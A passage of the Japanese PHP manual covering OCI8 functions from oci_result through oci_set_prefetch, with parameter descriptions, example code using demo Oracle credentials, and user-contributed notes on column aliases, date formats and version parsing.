
Registers a user-defined callback function to connection. If connection fails due to instance or network failure, the registered callback function will be invoked for several times during failover. See OCI8 Transparent Application Failover (TAF) Support for information.

When oci_register_taf_callback() is called multiple times, each registration overwrites the previous one.

Use oci_unregister_taf_callback() to explicitly unregister a user-defined callback.

TAF callback registration will NOT be saved across persistent connections, therefore the callback needs to be re-registered for a new persistent connection.

パラメータ

connection

An Oracle connection identifier.

callbackFn

A user-defined callback to register for Oracle TAF. It can be a string of the function name or a Closure (anonymous function).

The interface of a TAF user-defined callback function is as follows:

userCallbackFn ( resource $connection , int $event , int $type ) : int

See the parameter description and an example on OCI8 Transparent Application Failover (TAF) Support page.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • oci_unregister_taf_callback() - Unregister a user-defined callback function for Oracle Database TAF

User Contributed Notes

There are no user contributed notes for this page.


フェッチした行からフィールドの値を取得する

  • ≪ oci_register_taf_callback
  • oci_rollback ≫
  • PHP Manual
  • OCI8 関数
  • フェッチした行からフィールドの値を取得する

oci_result

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_result — フェッチした行からフィールドの値を取得する

説明

oci_result ( resource $statement , mixed $field ) : mixed

oci_fetch() によってフェッチされた現在の行のフィールド fieldからデータを返します。

OCI8 拡張モジュールによるデータ型マッピングの 詳細については、ドライバが サポートするデータ型 を参照ください。

パラメータ

statement

field

カラム番号 (1から始まる) またはカラム名 (大文字) のどちらかを使用可能です。 カラム名の大文字小文字は、Oracle のメタデータで定義されているものに会わせる必要があります。 カラムの作成時に大文字小文字を明示しなかった場合、メタデータ上は大文字で記録されています。

返り値

抽象型 (ROWID, LOB, FILE) を除き、全てを文字列として返します。 エラーの場合、false を返します。

例

例1 oci_fetch() と oci_result() を組み合わせる例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (oci_fetch($stid)) {
    echo oci_result($stid, 'LOCATION_ID') . " is ";
    echo oci_result($stid, 'CITY') . "<br>\n";
}

// 表示:
//   1000 is Roma
//   1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

PHP バージョン 5.0.0 以前では、代わりに ociresult() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_result() への別名として残されていますが、 推奨されません。

参考

  • oci_fetch_array() - クエリの次の行を連想配列あるいは数値添字配列で返す
  • oci_fetch_assoc() - クエリの次の行を連想配列で返す
  • oci_fetch_object() - クエリの次の行をオブジェクトとして返す
  • oci_fetch_row() - クエリの次の行を配列で返す
  • oci_fetch_all() - クエリからの複数の行を二次元配列に取得する

User Contributed Notes

luismanuelp at gmail dot com 26-Aug-2005 08:05
I am trying to get a list of the first character of a character string.

SELECT distinct substr(version,1,1) as COL1 FROM SPHVVERS where Version is not null order by 1

This was working and then failed recently. I think it is because some of the strings now added contain a number as the first character.

I found to get it to work I had to use decode statement. (To_Char did not work )

SELECT distinct decode (substr(version,1,1),'1','?','0','!',substr(version,1,1)) as COL1 FROM SPHVVERS where Version is not null order by 1
gabi at gambita dot de 01-Sep-2003 09:31
if you want to join two tables having both the same column (e.g. 'id') but you don't want to (or cannot) specify all the other fields in these two tables (like erabbott mentioned), you can use:

SELECT t1.*, t2.*, t1.id AS id1, t2.id AS id2
FROM table1 t1, table2 t2;

Note that this does _not_ work:

SELECT *,t1.id AS id1, t2.id AS id2
FROM table1 t1, table2 t2;
jthome at fcgov dot com 10-Feb-2003 02:56
FYI--

In order to modify Oracle dates (using NLS_DATE_FORMAT...), you must set $ORACLE_HOME first.  This environmental variable is best set in the server startup script (i.e., ./apachectl)

--
Jim
erabbott at NOSPAMterra dot com dot br 27-Sep-2002 07:22
As in my previous post, the same thing applies when using conversion functions in CLOB columns.

Probably the same thing will occur to any conversion function that you use.

So, this wont work

SELECT ... TO_CHAR(MY_CLOB) ...

$my_clob = OCIResult($stmt,"MY_CLOB");

But this will:

SELECT ... TO_CHAR(MY_CLOB) AS MYC ...

$my_clob = OCIResult($stmt,"MYC");

Best regards.
erabbott at NOSPAMterra dot com dot br 26-Sep-2002 03:35
Note that if you are making multiple table selects, you must specify an alias to each column.

This wont work:
----------------------------------------
$qry = "SELECT A.COL_ONE, B.COL_ONE FROM TABLE1 A, TABLE2 B";
$stmt = OCIParse($conn, $qry);

while(OCIFetch($stmt))
{
    $a = OCIResult($stmt, "A.COL_ONE");
...
----------------------------------------

But this will:
----------------------------------------
$qry = "SELECT A.COL_ONE AS X, B.COL_ONE AS Y FROM TABLE1 A, TABLE2 B";
$stmt = OCIParse($conn, $qry);

while(OCIFetch($stmt))
{
    $a = OCIResult($stmt, "X");
...
----------------------------------------

Regards,
steve dot hurst at instem-lss dot co dot uk 28-Mar-2002 07:35
I am trying to get a list of the first character of a character string.

SELECT distinct substr(version,1,1) as COL1 FROM SPHVVERS where Version is not null order by 1

This was working and then failed recently. I think it is because some of the strings now added contain a number as the first character.

I found to get it to work I had to use decode statement. (To_Char did not work )

SELECT distinct decode (substr(version,1,1),'1','?','0','!',substr(version,1,1)) as COL1 FROM SPHVVERS where Version is not null order by 1
dwilson at cae dot wisc dot edu 16-Apr-2001 06:05
I complained that I couldn't get the time from an Oracle date field.  Joe Brown said:

This is not a PHP bug.

Consider setting NLS_DATE_FORMAT.

The manual states OCIResult() returns everything as a string.
NLS_DATE_FORMAT may not be appropriate for your needs.

There are quite a few places you can set NLS_DATE_FORMAT.
* Environment variables (or windows registry on win32)
* orclSID.ora
* on a per session basis; execute this statement after logon:

$cursor=OCIParse($connection,
 "ALTER SESSION SET NLS_DATE_FORMAT='YYYY-MM-DD HH24:MI:SS'");
OCIExecute($cursor);
OCIFreeCursor($cursor);
shayman at quiver dot com 30-Aug-2000 09:09
As this function gets a 'mixed' variable type for the column index, you may use an integer to represent the column number. In this case, the count is starting from 1 and not from zero.
I am not sure, but I think this method is a bit faster than using the column name.
For an example, see the OCINumCols first example.
dominic dot standage at revolutionltd dot com 16-Sep-1999 05:43
OCIResult() requires the column name to be written in capitals, so OCIResult($stmt,"column") won't work, but OCIResult($stmt,"COLUMN") works fine. Hope that helps somebody out


未解決のデータベーストランザクションをロールバックする

  • ≪ oci_result
  • oci_server_version ≫
  • PHP Manual
  • OCI8 関数
  • 未解決のデータベーストランザクションをロールバックする

oci_rollback

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_rollback — 未解決のデータベーストランザクションをロールバックする

説明

oci_rollback ( resource $connection ) : bool

Oracle 接続 connection について、 コミットされていないすべての変更を取り消します。 取得しているロックはすべて解放します。また、すべての Oracle SAVEPOINTS を削除します。

トランザクションが始まるのは、データを変更する最初の SQL 文が OCI_NO_AUTO_COMMIT フラグつきの oci_execute() で実行されたときです。 それ以降、他の文で実行されたデータの変更は、同じトランザクションの一部となります。 トランザクション内でのデータの変更は、 コミットあるいはロールバックされるまでは一時的なものとなります。 トランザクションがコミットされるまで、 データベースの他のユーザーはその変更を見ることができません。

データを追加したり更新したりする場合にはトランザクションを使うことを推奨します。 これは、データの一貫性やパフォーマンスを考慮したものです。

パラメータ

connection

oci_connect()、oci_pconnect() あるいは oci_new_connect(). が返す Oracle 接続 ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 oci_rollback() の例

<?php

// 複数のテーブルにデータを追加し、エラーが発生したらロールバックします

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, "INSERT INTO mysalary (id, name) VALUES (1, 'Chris')");

// OCI_NO_AUTO_COMMIT フラグで、INSERT 直後にコミットしないよう Oracle に指示します。
// PHP <= 5.3.1 では OCI_DEFAULT を使います。これらふたつのフラグは同じ意味です
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
    $e = oci_error($stid);
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO myschedule (startday) VALUES (12)');
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
    $e = oci_error($stid);
    oci_rollback($conn);  // 両方のテーブルへの変更をロールバックします
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

// 両方のテーブルへの変更をコミットします
$r = oci_commit($conn);
if (!r) {
    $e = oci_error($conn);
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

?>

例2 SAVEPOINT へのロールバックの例

<?php
$stid = oci_parse($conn, 'UPDATE mytab SET id = 1111');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

// セーブポイントを作成します
$stid = oci_parse($conn, 'SAVEPOINT mysavepoint');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

$stid = oci_parse($conn, 'UPDATE mytab SET id = 2222');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

// セーブポイントにロールバックする SQL 文を使います
$stid = oci_parse($conn, 'ROLLBACK TO SAVEPOINT mysavepoint');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

oci_commit($conn);  // mytab の id は、この時点で 1111 となります
?>

注意

注意:

トランザクションは接続を閉じたとき、 もしくはスクリプトの終了時のいずれの場合でも すぐに自動的にロールバックされます。 トランザクションをコミットするには oci_commit() をコールする必要があります。

oci_execute() を、 OCI_COMMIT_ON_SUCCESS モードや デフォルト状態でコールすると、 その時点までの未確定のトランザクションをすべてコミットします。

Oracle の DDL 文 (CREATE や DROP など) を実行すると、 その時点までの未確定のトランザクションをすべてコミットします。

参考

  • oci_commit() - 未解決のトランザクションをコミットする
  • oci_execute() - 文を実行する

User Contributed Notes

There are no user contributed notes for this page.


Oracle データベースのバージョンを返す

  • ≪ oci_rollback
  • oci_set_action ≫
  • PHP Manual
  • OCI8 関数
  • Oracle データベースのバージョンを返す

oci_server_version

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_server_version — Oracle データベースのバージョンを返す

説明

oci_server_version ( resource $connection ) : string

Oracle データベースのバージョンと利用可能なオプションを返します。

パラメータ

connection

返り値

バージョン情報を表す文字列、あるいはエラー時に false を返します。

例

例1 oci_server_version() の例

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
echo "サーバーのバージョン: " . oci_server_version($conn);

// 出力は
// サーバーのバージョン: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
// With the Partitioning, OLAP, Data Mining and Real Application Testing option

oci_close($conn);

?>

注意

注意:

PHP バージョン 5.0.0 以前では、代わりに ociserverversion() を使用しなければなりません。 まだこの古い名前を使用できますが、廃止予定で非推奨です。

参考

  • oci_client_version() - Oracle クライアント・ライブラリのバージョンを返す

User Contributed Notes

Anonymous 27-Aug-2019 12:25
Here's now to extract just the major.minor version number:

<?php
$link = oci_new_connect($username, $password, $server, "AL32UTF8");
$server_info = oci_server_version($link);
$version = preg_replace('~^.* (\d+\.\d+)\.\d+\.\d+\.\d+.*~s', '\1', $server_info);

echo "$server_info<br>";
// Oracle Database 11g Release 11.2.0.4.0 - 64bit Production
echo "$version<br>";
// 11.2
?>

And here's how to look up version via SQL:

https://www.oracle.com/pls/topic/lookup?ctx=db122&id=ADMIN11039

SELECT * FROM PRODUCT_COMPONENT_VERSION;

PRODUCT                                  VERSION     STATUS
---------------------------------------- ----------- -----------
NLSRTL                                   12.1.0.0.1  Production
Oracle Database 12c Enterprise Edition   12.1.0.0.1  Production
PL/SQL                                   12.1.0.0.1  Production
?>


アクション名を設定します

  • ≪ oci_server_version
  • oci_set_call_timeout ≫
  • PHP Manual
  • OCI8 関数
  • アクション名を設定します

oci_set_action

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_action — アクション名を設定します

説明

oci_set_action ( resource $connection , string $action_name ) : bool

Oracle が追跡するアクション名を設定します

PHP からデータベースへの次の「ラウンドトリップ」が起きると、 アクション名がデータベースに登録されます。これは一般的にSQLステートメントが実行されるときに起こります。

V$SESSION のようなデータベース管理ビューから、 アクション名を後に問い合わせることができます。 それは例えば、 V$SQLAREA 及び DBMS_MONITOR.SERV_MOD_ACT_STAT_ENABLE と一緒に追跡とモニタリングのために使われることができます。

この関数で設定した値は、持続的接続をまたがって保持される可能性があります。

パラメータ

connection

oci_connect()、oci_pconnect() あるいは oci_new_connect() が返す Oracle 接続 ID。

action_name

ユーザーが選んだ、長さが最高32バイトの文字列。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 アクションを設定する

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// アクションを登録する
oci_set_action($c, 'Friend Lookup');

// クエリを実行することで、ラウンドトリップを起こすコードの例:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// スクリプトを実行中、管理者は実行されるアクションを見ることができる

sqlplus system/welcome
SQL> select action from v$session;

注意

注意: Oracle のバージョン

この関数が使えるのは、PHP をバージョン 10g 以降の Oracle データベースライブラリとリンクさせた場合だけです。

ヒント

パフォーマンス

古いバージョンの OCI8 や Oracle データベースでは、クライアントの情報を Oracle の DBMS_APPLICATION_INFO パッケージで設定することができました。 それよりも oci_set_client_info() を使うほうが効率的です。

警告

データベースとのやりとりに関するメモ

OCI8 関数の中には、データベースとのやりとりを伴わないものもあります。 たとえば、結果のキャッシングが有効になっている場合、 クエリを実行してもデータベースとのやりとりを行わない可能性があります。

参考

  • oci_set_module_name() - モジュール名を設定します
  • oci_set_client_info() - クライアント情報を設定する
  • oci_set_client_identifier() - クライアント識別子を設定します
  • oci_set_db_operation() - Sets the database operation

User Contributed Notes

There are no user contributed notes for this page.


Sets a millisecond timeout for database calls

  • ≪ oci_set_action
  • oci_set_client_identifier ≫
  • PHP Manual
  • OCI8 関数
  • Sets a millisecond timeout for database calls

oci_set_call_timeout

(PHP 7.2 >= 7.2.14, PHP 8, PHP 7 >= 7.3.1, PHP 8, PECL OCI8 >= 2.2.0)

oci_set_call_timeout — Sets a millisecond timeout for database calls

説明

oci_set_call_timeout ( resource $connection , int $time_out ) : bool

Sets a timeout limiting the maxium time a database round-trip using this connection may take.

Each OCI8 operation may make zero or more calls to Oracle's client library. These internal calls may then may make zero or more round-trips to Oracle Database. If any one of those round-trips takes more than time_out milliseconds, then the operation is cancelled and an error is returned to the application.

The time_out value applies to each round-trip individually, not to the sum of all round-trips. Time spent processing in PHP OCI8 before or after the completion of each round-trip is not counted.

When a call is interrupted, Oracle will attempt to clean up the connection for reuse. This operation is allowed to run for another time_out period. Depending on the outcome of the cleanup, the connection may or may not be reusable.

When persistent connections are used, the timeout value will be retained across PHP requests.

The oci_set_call_timeout() function is available when OCI8 uses Oracle 18 (or later) Client libraries.

パラメータ

connection

oci_connect()、oci_pconnect() あるいは oci_new_connect() が返す Oracle 接続 ID。

time_out

The maximum time in milliseconds that any single round-trip between PHP and Oracle Database may take.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Setting the timeout

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
oci_set_call_timeout($conn, 5000);

?>

User Contributed Notes

There are no user contributed notes for this page.


クライアント識別子を設定します

  • ≪ oci_set_call_timeout
  • oci_set_client_info ≫
  • PHP Manual
  • OCI8 関数
  • クライアント識別子を設定します

oci_set_client_identifier

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_client_identifier — クライアント識別子を設定します

説明

oci_set_client_identifier ( resource $connection , string $client_identifier ) : bool

同一のデータベース・ユーザーとして認証するライトウェイト・アプリケーションのユーザーを識別するために、 様々なデータベースコンポーネントによって使用されるクライアント識別子を設定します。

PHP からデータベースへの次の「ラウンドトリップ」が起きると、 クライアント識別子がデータベースに登録されます。これは一般的にSQLステートメントが実行されるときに起こります。

SELECT SYS_CONTEXT('USERENV','CLIENT_IDENTIFIER') FROM DUAL などとして、クライアント識別子を後に問い合わせることができます。 V$SESSION のようなデータベース管理ビューにも同じ値が含まれています。 それは DBMS_MONITOR.CLIENT_ID_TRACE_ENABLE と一緒に追跡のために使われることができます。 それは監査のために使われることができます。

この関数で設定した値は、同じ持続的接続を使っている複数のページリクエストにまたがって保持される可能性があります。

パラメータ

connection

oci_connect()、oci_pconnect() あるいは oci_new_connect() が返す Oracle 接続 ID。

client_identifier

ユーザーが選んだ、長さが最高64バイトの文字列。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 クライアント識別子をアプリケーションのユーザーに設定する

<?php

// アプリケーションのユーザーログイン名を検索
session_start();
$un = my_validate_session($_SESSION['username']);
$c = oci_connect('myschema', 'welcome', 'localhost/XE');

// そのユーザーが誰であるか Oracle に通知
oci_set_client_identifier($c, $un);

// データベースへの次の「ラウンドトリップ」がその識別子を背負うでしょう
$s = oci_parse($c, 'select mydata from mytable');
oci_execute($s);

// ...

?>

注意

警告

データベースとのやりとりに関するメモ

OCI8 関数の中には、データベースとのやりとりを伴わないものもあります。 たとえば、結果のキャッシングが有効になっている場合、 クエリを実行してもデータベースとのやりとりを行わない可能性があります。

参考

  • oci_set_module_name() - モジュール名を設定します
  • oci_set_action() - アクション名を設定します
  • oci_set_client_info() - クライアント情報を設定する
  • oci_set_db_operation() - Sets the database operation

User Contributed Notes

sixd at php dot net 18-Apr-2011 04:22
There's an article "PHP Web Auditing, Authorization and Monitoring with Oracle Database" at www.oracle.com/technetwork/articles/dsl/php-web-auditing-171451.html which is all about using oci_set_client_identifier()


クライアント情報を設定する

  • ≪ oci_set_client_identifier
  • oci_set_db_operation ≫
  • PHP Manual
  • OCI8 関数
  • クライアント情報を設定する

oci_set_client_info

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_client_info — クライアント情報を設定する

説明

oci_set_client_info ( resource $connection , string $client_info ) : bool

Oracle が追跡するクライアント情報を設定します。

PHP からデータベースへの次の「ラウンドトリップ」が起きると、 クライアント情報がデータベースに登録されます。これは一般的にSQLステートメントが実行されるときに起こります。

V$SESSION のようなデータベース管理ビューから、 クライアント情報を後に問い合わせることができます。

この関数で設定した値は、持続的接続をまたがって保持される可能性があります。

パラメータ

connection

oci_connect()、oci_pconnect() あるいは oci_new_connect() が返す Oracle 接続 ID。

client_info

ユーザーが選んだ、長さが最高64バイトの文字列。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 クライアント情報を設定する

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// クライアント情報を登録する
oci_set_client_info($c, 'My Application Version 2');

// クエリを実行することで、ラウンドトリップを起こすコードの例:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// スクリプトを実行中、管理者はクライアント情報を見ることができる

sqlplus system/welcome
SQL> select client_info from v$session;

注意

注意: Oracle のバージョン

この関数が使えるのは、PHP をバージョン 10g 以降の Oracle データベースライブラリとリンクさせた場合だけです。

ヒント

パフォーマンス

古いバージョンの OCI8 や Oracle データベースでは、クライアントの情報を Oracle の DBMS_APPLICATION_INFO パッケージで設定することができました。 それよりも oci_set_client_info() を使うほうが効率的です。

警告

データベースとのやりとりに関するメモ

OCI8 関数の中には、データベースとのやりとりを伴わないものもあります。 たとえば、結果のキャッシングが有効になっている場合、 クエリを実行してもデータベースとのやりとりを行わない可能性があります。

参考

  • oci_set_module_name() - モジュール名を設定します
  • oci_set_action() - アクション名を設定します
  • oci_set_client_identifier() - クライアント識別子を設定します
  • oci_set_db_operation() - Sets the database operation

User Contributed Notes

There are no user contributed notes for this page.


Sets the database operation

  • ≪ oci_set_client_info
  • oci_set_edition ≫
  • PHP Manual
  • OCI8 関数
  • Sets the database operation

oci_set_db_operation

(PHP 7 >= 7.2.14, PHP 8, PHP 7 >= 7.3.1, PHP 8, PECL OCI8 >= 2.2.0)

oci_set_db_operation — Sets the database operation

説明

oci_set_db_operation ( resource $connection , string $dbop ) : bool

Sets the DBOP for Oracle tracing.

The database operation name is registered with the database when the next 'round-trip' from PHP to the database occurs, typically when a SQL statement is executed.

The database operation can subsequently be queried from database administration views such as V$SQL_MONITOR.

The oci_set_db_operation() function is available when OCI8 uses Oracle 12 (or later) Client libraries and Oracle Database 12 (or later).

パラメータ

connection

oci_connect()、oci_pconnect() あるいは oci_new_connect() が返す Oracle 接続 ID。

dbop

User chosen string.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Setting the DBOP

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Record the operation
oci_set_db_operation($c, 'main query');

// Code that causes a round-trip, for example a query:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// While the script is running, the administrator can see the database operations
// being performed:

sqlplus system/welcome
SQL> select dbop_name from v$sql_monitor;

注意

警告

データベースとのやりとりに関するメモ

OCI8 関数の中には、データベースとのやりとりを伴わないものもあります。 たとえば、結果のキャッシングが有効になっている場合、 クエリを実行してもデータベースとのやりとりを行わない可能性があります。

参考

  • oci_set_action() - アクション名を設定します
  • oci_set_module_name() - モジュール名を設定します
  • oci_set_client_info() - クライアント情報を設定する
  • oci_set_client_identifier() - クライアント識別子を設定します

User Contributed Notes

There are no user contributed notes for this page.


データベース・エディション を設定します

  • ≪ oci_set_db_operation
  • oci_set_module_name ≫
  • PHP Manual
  • OCI8 関数
  • データベース・エディション を設定します

oci_set_edition

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_edition — データベース・エディション を設定します

説明

oci_set_edition ( string $edition ) : bool

後続の接続で使用する、オブジェクトのデータベース・エディション を設定します。

オラクル・エディション により、同じスキーマ名とオブジェクト名を使って、複数のバージョンのアプリケーションが稼動できます。これは、稼動中のシステムをアップグレードするときに便利です。

oci_connect(), oci_pconnect() や oci_new_connect() を呼び出す前に、oci_set_edition() をコールして下さい。

データベースで無効なエディションが設定されると、たとえ oci_set_edition() が成功しても接続は失敗します。

持続的接続を使用している場合、リクエストされたエディション設定値による接続がもしすでにあれば、それが再利用されます。それ以外の場合、持続的接続が別途作成されます。

パラメータ

edition

SQLコマンド "CREATE EDITION" であらかじめ作成されたオラクル・データベース・エディション名

注意

注意: Oracle バージョン必要条件

この関数は Oracle 11gR2 以降で利用可能です

警告

持続的接続

持続的接続を使用しているときに "ALTER SESSION SET EDITION" を使ってデータベース・エディションを変更してはいけません。これは設定の不整合や予想外のエラーを避けるためです。

警告

DRCP 接続プーリング

Oracle 11.2.0.1 でエディションや DRCP を使用する際の設定の不整合や予想外のエラーを避けるため、oci8.connection_class と アプリケーションで使用されるエディション名との間が１対１の対応になるように保ってください。 与えられた接続クラスのプールされたサーバーはそれぞれ、１つのエディションだけで使われるべきです。 この制約は、Oracle 11.2.0.2 以降ではなくなりました。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 異なるバージョンの myfunc() が利用できる例

<?php

// File 1

echo "Version 1 of application\n";

oci_set_edition('ORA$BASE');
$c = oci_connect('hr', 'welcome', 'localhost/XE');

$s = oci_parse($c, "begin :r := myfunc(); end;");
oci_bind_by_name($s, ":r", $r, 20);
oci_execute($s);
echo "The result is $r\n";

?>
<?php

// File 2

echo "Version 2 of application\n";

oci_set_edition('E1');
$c = oci_connect('hr', 'welcome', 'localhost/XE');

$s = oci_parse($c, "begin :r := myfunc(); end;");
oci_bind_by_name($s, ":r", $r, 20);
oci_execute($s);
echo "The result is $r\n";

?>

User Contributed Notes

There are no user contributed notes for this page.


モジュール名を設定します

  • ≪ oci_set_edition
  • oci_set_prefetch ≫
  • PHP Manual
  • OCI8 関数
  • モジュール名を設定します

oci_set_module_name

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_module_name — モジュール名を設定します

説明

oci_set_module_name ( resource $connection , string $module_name ) : bool

Oracle が追跡するモジュール名を設定します

PHP からデータベースへの次の「ラウンドトリップ」が起きると、 モジュール名がデータベースに登録されます。これは一般的にSQLステートメントが実行されるときに起こります。

V$SESSION のようなデータベース管理ビューから、 名称を後に問い合わせることができます。 それは例えば、 V$SQLAREA 及び DBMS_MONITOR.SERV_MOD_ACT_STAT_ENABLE と一緒に追跡とモニタリングのために使われることができます。

この関数で設定した値は、持続的接続をまたがって保持される可能性があります。

パラメータ

connection

oci_connect()、oci_pconnect() あるいは oci_new_connect() が返す Oracle 接続 ID。

module_name

ユーザーが選んだ、長さが最高48バイトの string 。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意: Oracle のバージョン

この関数が使えるのは、PHP をバージョン 10g 以降の Oracle データベースライブラリとリンクさせた場合だけです。

ヒント

パフォーマンス

古いバージョンの OCI8 や Oracle データベースでは、クライアントの情報を Oracle の DBMS_APPLICATION_INFO パッケージで設定することができました。 それよりも oci_set_client_info() を使うほうが効率的です。

警告

データベースとのやりとりに関するメモ

OCI8 関数の中には、データベースとのやりとりを伴わないものもあります。 たとえば、結果のキャッシングが有効になっている場合、 クエリを実行してもデータベースとのやりとりを行わない可能性があります。

例

例1 モジュール名を設定する

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// モジュールを登録する
oci_set_module_name($c, 'Home Page');

// クエリを実行することで、ラウンドトリップを起こすコードの例:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);
?>
// スクリプトを実行中、管理者は使用中のモジュールを見ることができる

sqlplus system/welcome
SQL> select module from v$session;

参考

  • oci_set_action() - アクション名を設定します
  • oci_set_client_info() - クライアント情報を設定する
  • oci_set_client_identifier() - クライアント識別子を設定します
  • oci_set_db_operation() - Sets the database operation

User Contributed Notes

There are no user contributed notes for this page.


クエリがプリフェッチする行数を設定する

  • ≪ oci_set_module_name
  • oci_statement_type ≫
  • PHP Manual
  • OCI8 関数
  • クエリがプリフェッチする行数を設定する

oci_set_prefetch

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_set_prefetch — クエリがプリフェッチする行数を設定する

説明

oci_set_prefetch ( resource $statement , int $rows ) : bool

oci_execute() のコール、およびそれに伴う内部的なデータベースへのリクエストがすべて成功した後に Oracle Client ライブラリがバッファに取り込む行数を設定します。 クエリが返す結果の行数が多くなる場合は、プリフェッチ行数をデフォルトの oci8.default_prefetch より大きくしておくとパフォーマンスが劇的に向上します。

プリフェッチは、Oracle がデータベースからデータを取得する際の効率的な方法で、 一回のネットワークリクエストで複数の行を取得します。こうすれば、 ネットワークや CPU の利用効率がよくなります。 行のバッファリングは OCI8 の内部的なものであり、 プリフェッチ行数が変わっても OCI8 のフェッチ関数群の挙動は変わりません。 たとえば、oci_fetch_row() は、常に一行だけを返します。 プリフェッチバッファはステートメント単位で設定されるものであり、 ステートメントを再実行したときや他の接続から実行したときには使われません。

oci_set_prefetch() は oci_execute() の前にコールします。

ネットワークやデータベースの状況を考慮して、 プリフェッチの値を適切な大きさに設定することがチューニングの目標です。 大量の行を返すクエリの場合は、データベースからの行の取得を いくつかの塊に分けて行うとシステム全体の効率が良くなるかもしれません (つまり、プリフェッチの値を行数より小さめに設定するということです)。 こうすれば、PHP スクリプトが現在の行を処理している間にも データベースが別のユーザーからのステートメントを処理できるようになります。

クエリのプリフェッチが導入されたのは、Oracle 8i からです。 REF CURSOR のプリフェッチが導入されたのは Oracle 11gR2 からで、 PHP を Oracle 11gR2 以降のクライアントライブラリとリンクすれば使えます。 ネストしたカーソルのプリフェッチが導入されたのは Oracle 11gR2 からで、 これを使うには Oracle クライアントライブラリと接続先のデータベースがどちらも 11gR2 以降でなければなりません。

プリフェッチは、LONG あるいは LOB 列を含むクエリには対応していません。 プリフェッチに対応していないクエリの場合はプリフェッチの値は無視され、 どんな場合でも一行単位でフェッチします。

Oracle Database 12c では、PHP で設定したプリフェッチの値を Oracle のクライアント設定ファイル oraaccess.xml で上書きできます。 詳細は、Oracle のドキュメントを参照ください。

パラメータ

statement

oci_parse() で作成して oci_execute() で実行した有効な OCI8 ステートメント ID、 あるいは REF CURSOR ステートメント ID。

rows

プリフェッチする行数。>= 0

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
PECL OCI8 1.4 | これより前のバージョンでは、rows は 1 以上でなければなりませんでした。
PECL OCI8 1.3.4 | これより前のバージョンでは、プリフェッチの上限は rows 行と 1024 * rows バイトのうちの少ないほうでした。 バイト数の制限は、このバージョンで取り除かれました。

例

例1 クエリのデフォルトプリフェッチ値の変更

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM myverybigtable');
oci_set_prefetch($stid, 300);  // oci_execute() のコール前に設定します
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

例2 REF CURSOR のデフォルトプリフェッチの変更

<?php
/*
  下記のようにして PL/SQL ストアド・プロシジャーを作成します。

  CREATE OR REPLACE PROCEDURE myproc(p1 OUT SYS_REFCURSOR) AS
  BEGIN
    OPEN p1 FOR SELECT * FROM all_objects WHERE ROWNUM < 5000;
  END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'BEGIN myproc(:rc); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// プリフェッチはカーソルの実行前に変更します。
